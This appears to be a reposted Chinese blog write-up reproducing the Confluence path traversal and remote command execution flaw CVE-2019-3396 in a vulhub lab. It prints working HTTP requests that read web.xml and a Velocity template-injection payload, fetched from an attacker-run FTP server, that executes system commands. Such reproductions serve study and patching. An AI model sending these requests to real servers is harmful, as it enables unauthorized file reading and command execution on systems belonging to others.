Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

简介

 

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

 

影响版本

 

6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本

 

环境搭建

 

这里使用vulhub来安装

地址:

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396

进入目录

cd vulhub-master/confluence/CVE-2019-3396

启动一个Confluence Server 6.10.2版本的环境

访问http://your-ip:8090即可看到安装页面

选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons)

把Server ID复制进去即可

再把key放进去即可

按照顺序依次填入即可

安装完成

 

漏洞复现

构建数据包进行发送

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

成功读取web.xml

该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令

创建文件r.vm

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

用python启动服务

python -m pyftpdlib -p  8888

构建数据包并发送

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: 192.168.204.131:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/plain, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

Referer: http://192.168.204.131:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Length: 195

X-Forwarded-For: 127.0.0.2

Connection: keep-alive



{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://192.168.204.131:8888/r.vm","command":"id"},"body":""}}

成功执行命令

 

修复建议

 

升级Confluence版本

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/112773904